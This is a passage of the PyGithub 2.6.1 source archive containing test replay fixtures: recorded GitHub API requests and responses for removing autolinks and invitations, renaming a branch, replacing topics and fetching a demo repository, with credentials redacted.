{"sha":"a01fa060858e3aced1fe4ad74798295376e76fd4","committer":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"author":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"parents":[{"sha":"3be2e82b400f3398c05b68f00a4427604e74c7c5","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/3be2e82b400f3398c05b68f00a4427604e74c7c5"},{"sha":"7a19732ca92cd80fd9da31fa590d67729d6b44df","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/7a19732ca92cd80fd9da31fa590d67729d6b44df"}],"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a01fa060858e3aced1fe4ad74798295376e76fd4","commit":{"committer":{"email":"vincent@vincent-jacques.net","date":"2012-09-08T05:19:40-07:00","name":"Vincent Jacques"},"author":{"email":"vincent@vincent-jacques.net","date":"2012-09-08T05:19:40-07:00","name":"Vincent Jacques"},"message":"Merge branchForHead into branchForBase","tree":{"sha":"97223b0c33ab29dd9aa038248dc982354f7d69a1","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/97223b0c33ab29dd9aa038248dc982354f7d69a1"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/a01fa060858e3aced1fe4ad74798295376e76fd4","comment_count":0}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testRemoveAutolink.txt0000644000175100001660000000251714756101563024746 0ustar00runnerdockerhttps DELETE api.github.com None /repos/PyGithub/PyGithub/autolinks/209611 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 02 Nov 2021 13:05:13 GMT'), ('X-OAuth-Scopes', 'admin:repo_hook, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2021-11-09 12:40:40 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4941'), ('X-RateLimit-Reset', '1635859633'), ('X-RateLimit-Used', '59'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'C120:10BD6:34C209:39806B:61813789')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testRemoveInvitation.txt0000644000175100001660000000222014756101563025273 0ustar00runnerdockerhttps DELETE api.github.com None /repos/PyGithub/PyGithub/invitations/17285388 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4992'), ('x-github-media-type', 'github.v3; format=json'), ('x-content-type-options', 'nosniff'), ('content-security-policy', "default-src 'none'"), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('vary', 'Accept-Encoding'), ('x-accepted-oauth-scopes', ''), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-oauth-scopes', 'public_repo, repo:status'), ('date', 'Tue, 02 Jul 2019 04:13:39 GMT'), ('x-frame-options', 'deny'), ('access-control-allow-origin', '*'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('content-type', 'application/octet-stream'), ('x-xss-protection', '1; mode=block'), ('x-ratelimit-reset', '1562044419')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testRenameBranchObject.txt0000644000175100001660000002475614756101563025467 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/branches/neat-new-feature {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 23 Oct 2021 04:32:06 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"7b4b9377dbba34db4d606bcfaadf8997f690d2fb7afc15982857269ba17e8a90"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1634967125'), ('X-RateLimit-Used', '2'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '82FE:7C71:69CE0C:7107D9:61739046')] {"name":"neat-new-feature","commit":{"sha":"dbfbf7f07b81d616d4da032bcfa7ca90dcd79575","node_id":"C_kwDOB7W4ZNoAKGRiZmJmN2YwN2I4MWQ2MTZkNGRhMDMyYmNmYTdjYTkwZGNkNzk1NzU","commit":{"author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2021-10-21T04:06:06Z"},"committer":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2021-10-21T04:06:06Z"},"message":"WIP: branch rename","tree":{"sha":"81e30fe50ff2b1c8e8cb819d181b3a285e9a9c94","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/81e30fe50ff2b1c8e8cb819d181b3a285e9a9c94"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/dbfbf7f07b81d616d4da032bcfa7ca90dcd79575","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/dbfbf7f07b81d616d4da032bcfa7ca90dcd79575","html_url":"https://github.com/PyGithub/PyGithub/commit/dbfbf7f07b81d616d4da032bcfa7ca90dcd79575","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/dbfbf7f07b81d616d4da032bcfa7ca90dcd79575/comments","author":{"login":"jacquev6","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"committer":{"login":"jacquev6","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"parents":[{"sha":"93b92cd2fce560080dc66aef3b94427623046c5d","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/93b92cd2fce560080dc66aef3b94427623046c5d","html_url":"https://github.com/PyGithub/PyGithub/commit/93b92cd2fce560080dc66aef3b94427623046c5d"}]},"_links":{"self":"https://api.github.com/repos/PyGithub/PyGithub/branches/neat-new-feature","html":"https://github.com/PyGithub/PyGithub/tree/neat-new-feature"},"protected":false,"protection":{"enabled":false,"required_status_checks":{"enforcement_level":"off","contexts":[]}},"protection_url":"https://api.github.com/repos/PyGithub/PyGithub/branches/neat-new-feature/protection"} https POST api.github.com None /repos/PyGithub/PyGithub/branches/neat-new-feature/rename {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"new_name": "terrible-idea"} 201 [('Server', 'GitHub.com'), ('Date', 'Sat, 23 Oct 2021 04:32:07 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '3748'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"21b924f024389f2dad56ec7b61664d88fa432e59b6068797da15b3b1718799a1"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1634967125'), ('X-RateLimit-Used', '4'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '8302:7C71:69CE3F:710812:61739046')] {"name":"terrible-idea","commit":{"sha":"dbfbf7f07b81d616d4da032bcfa7ca90dcd79575","node_id":"C_kwDOB7W4ZNoAKGRiZmJmN2YwN2I4MWQ2MTZkNGRhMDMyYmNmYTdjYTkwZGNkNzk1NzU","commit":{"author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2021-10-21T04:06:06Z"},"committer":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2021-10-21T04:06:06Z"},"message":"WIP: branch rename","tree":{"sha":"81e30fe50ff2b1c8e8cb819d181b3a285e9a9c94","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/81e30fe50ff2b1c8e8cb819d181b3a285e9a9c94"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/dbfbf7f07b81d616d4da032bcfa7ca90dcd79575","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/dbfbf7f07b81d616d4da032bcfa7ca90dcd79575","html_url":"https://github.com/PyGithub/PyGithub/commit/dbfbf7f07b81d616d4da032bcfa7ca90dcd79575","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/dbfbf7f07b81d616d4da032bcfa7ca90dcd79575/comments","author":{"login":"jacquev6","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"committer":{"login":"jacquev6","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"parents":[{"sha":"93b92cd2fce560080dc66aef3b94427623046c5d","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/93b92cd2fce560080dc66aef3b94427623046c5d","html_url":"https://github.com/PyGithub/PyGithub/commit/93b92cd2fce560080dc66aef3b94427623046c5d"}]},"_links":{"self":"https://api.github.com/repos/PyGithub/PyGithub/branches/terrible-idea","html":"https://github.com/PyGithub/PyGithub/tree/terrible-idea"},"protected":false,"protection":{"enabled":false,"required_status_checks":{"enforcement_level":"off","contexts":[]}},"protection_url":"https://api.github.com/repos/PyGithub/PyGithub/branches/terrible-idea/protection"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testRenameBranchString.txt0000644000175100001660000001240014756101563025506 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/branches/neat-new-feature/rename {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"new_name": "terrible-idea"} 201 [('Server', 'GitHub.com'), ('Date', 'Sat, 23 Oct 2021 04:32:07 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '3748'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"21b924f024389f2dad56ec7b61664d88fa432e59b6068797da15b3b1718799a1"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1634967125'), ('X-RateLimit-Used', '4'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '8302:7C71:69CE3F:710812:61739046')] {"name":"terrible-idea","commit":{"sha":"dbfbf7f07b81d616d4da032bcfa7ca90dcd79575","node_id":"C_kwDOB7W4ZNoAKGRiZmJmN2YwN2I4MWQ2MTZkNGRhMDMyYmNmYTdjYTkwZGNkNzk1NzU","commit":{"author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2021-10-21T04:06:06Z"},"committer":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2021-10-21T04:06:06Z"},"message":"WIP: branch rename","tree":{"sha":"81e30fe50ff2b1c8e8cb819d181b3a285e9a9c94","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/81e30fe50ff2b1c8e8cb819d181b3a285e9a9c94"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/dbfbf7f07b81d616d4da032bcfa7ca90dcd79575","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/dbfbf7f07b81d616d4da032bcfa7ca90dcd79575","html_url":"https://github.com/PyGithub/PyGithub/commit/dbfbf7f07b81d616d4da032bcfa7ca90dcd79575","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/dbfbf7f07b81d616d4da032bcfa7ca90dcd79575/comments","author":{"login":"jacquev6","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"committer":{"login":"jacquev6","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"parents":[{"sha":"93b92cd2fce560080dc66aef3b94427623046c5d","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/93b92cd2fce560080dc66aef3b94427623046c5d","html_url":"https://github.com/PyGithub/PyGithub/commit/93b92cd2fce560080dc66aef3b94427623046c5d"}]},"_links":{"self":"https://api.github.com/repos/PyGithub/PyGithub/branches/terrible-idea","html":"https://github.com/PyGithub/PyGithub/tree/terrible-idea"},"protected":false,"protection":{"enabled":false,"required_status_checks":{"enforcement_level":"off","contexts":[]}},"protection_url":"https://api.github.com/repos/PyGithub/PyGithub/branches/terrible-idea/protection"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testReplaceTopics.txt0000644000175100001660000000265314756101563024540 0ustar00runnerdockerhttps PUT api.github.com None /repos/PyGithub/PyGithub/topics {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'Accept': 'application/vnd.github.mercy-preview+json', 'User-Agent': 'PyGithub/Python'} {"names": ["github", "testing"]} 200 [('content-length', '30'), ('x-runtime-rack', '0.081855'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"c34823528b2c41eadf247bcea3b7dabc"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('x-github-media-type', 'github.mercy-preview; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '4C20:5398:FE4A88:26DA323:5AD7F450'), ('date', 'Thu, 19 Apr 2018 01:43:45 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1524105758')] {"names": ["testing","github"]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testRepoGetSecretAssertion.txt0000644000175100001660000002050414756101563026401 0ustar00runnerdockerhttps GET api.github.com None /repos/demoorg/demo-repo-1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Feb 2024 23:18:33 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"9c4b75dd089a2a530c8efb2f9363e83047d8422cc155692914678bf31dcd2880"'), ('Last-Modified', 'Wed, 17 Jan 2024 20:16:00 GMT'), ('X-OAuth-Scopes', 'admin:org, admin:public_key, repo, user'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-03-02 22:39:38 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4895'), ('X-RateLimit-Reset', '1706829971'), ('X-RateLimit-Used', '105'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED5D:D6070:71DB13B:7303E28:65BC26C9')] {"id":744692002,"node_id":"R_kgDOLGMZIg","name":"demo-repo-1","full_name":"demoorg/demo-repo-1","private":false,"owner":{"login":"demoorg","id":156956893,"node_id":"O_kgDOCVr43Q","avatar_url":"https://avatars.githubusercontent.com/u/156956893?v=4","gravatar_id":"","url":"https://api.github.com/users/demoorg","html_url":"https://github.com/demoorg","followers_url":"https://api.github.com/users/demoorg/followers","following_url":"https://api.github.com/users/demoorg/following{/other_user}","gists_url":"https://api.github.com/users/demoorg/gists{/gist_id}","starred_url":"https://api.github.com/users/demoorg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/demoorg/subscriptions","organizations_url":"https://api.github.com/users/demoorg/orgs","repos_url":"https://api.github.com/users/demoorg/repos","events_url":"https://api.github.com/users/demoorg/events{/privacy}","received_events_url":"https://api.github.com/users/demoorg/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/demoorg/demo-repo-1","description":null,"fork":false,"url":"https://api.github.com/repos/demoorg/demo-repo-1","forks_url":"https://api.github.com/repos/demoorg/demo-repo-1/forks","keys_url":"https://api.github.com/repos/demoorg/demo-repo-1/keys{/key_id}","collaborators_url":"https://api.github.com/repos/demoorg/demo-repo-1/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/demoorg/demo-repo-1/teams","hooks_url":"https://api.github.com/repos/demoorg/demo-repo-1/hooks","issue_events_url":"https://api.github.com/repos/demoorg/demo-repo-1/issues/events{/number}","events_url":"https://api.github.com/repos/demoorg/demo-repo-1/events","assignees_url":"https://api.github.com/repos/demoorg/demo-repo-1/assignees{/user}","branches_url":"https://api.github.com/repos/demoorg/demo-repo-1/branches{/branch}","tags_url":"https://api.github.com/repos/demoorg/demo-repo-1/tags","blobs_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/refs{/sha}","trees_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/trees{/sha}","statuses_url":"https://api.github.com/repos/demoorg/demo-repo-1/statuses/{sha}","languages_url":"https://api.github.com/repos/demoorg/demo-repo-1/languages","stargazers_url":"https://api.github.com/repos/demoorg/demo-repo-1/stargazers","contributors_url":"https://api.github.com/repos/demoorg/demo-repo-1/contributors","subscribers_url":"https://api.github.com/repos/demoorg/demo-repo-1/subscribers","subscription_url":"https://api.github.com/repos/demoorg/demo-repo-1/subscription","commits_url":"https://api.github.com/repos/demoorg/demo-repo-1/commits{/sha}","git_commits_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/commits{/sha}","comments_url":"https://api.github.com/repos/demoorg/demo-repo-1/comments{/number}","issue_comment_url":"https://api.github.com/repos/demoorg/demo-repo-1/issues/comments{/number}","contents_url":"https://api.github.com/repos/demoorg/demo-repo-1/contents/{+path}","compare_url":"https://api.github.com/repos/demoorg/demo-repo-1/compare/{base}...{head}","merges_url":"https://api.github.com/repos/demoorg/demo-repo-1/merges","archive_url":"https://api.github.com/repos/demoorg/demo-repo-1/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/demoorg/demo-repo-1/downloads","issues_url":"https://api.github.com/repos/demoorg/demo-repo-1/issues{/number}","pulls_url":"https://api.github.com/repos/demoorg/demo-repo-1/pulls{/number}","milestones_url":"https://api.github.com/repos/demoorg/demo-repo-1/milestones{/number}","notifications_url":"https://api.github.com/repos/demoorg/demo-repo-1/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/demoorg/demo-repo-1/labels{/name}","releases_url":"https://api.github.com/repos/demoorg/demo-repo-1/releases{/id}","deployments_url":"https://api.github.com/repos/demoorg/demo-repo-1/deployments","created_at":"2024-01-17T20:15:59Z","updated_at":"2024-01-17T20:16:00Z","pushed_at":"2024-01-17T20:16:00Z","git_url":"git://github.com/demoorg/demo-repo-1.git","ssh_url":"git@github.com:demoorg/demo-repo-1.git","clone_url":"https://github.com/demoorg/demo-repo-1.git","svn_url":"https://github.com/demoorg/demo-repo-1","homepage":null,"size":5,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"apache-2.0","name":"Apache License 